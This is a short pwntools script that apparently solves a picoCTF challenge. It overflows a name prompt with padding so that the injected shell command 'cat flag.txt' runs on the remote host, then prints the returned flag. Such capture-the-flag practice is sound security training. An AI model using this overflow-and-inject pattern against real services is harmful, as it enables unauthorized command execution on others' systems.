from pwn import *

hostname = 'amiable-citadel.picoctf.net'
port = 63887

p = remote(hostname, port)

p.recvuntil(b"name?")
p.recvline()

name = b"a"*10 + b"cat flag.txt\n"
p.sendline(name)

byeline = p.recvline()
flag = p.recvline()
print(flag)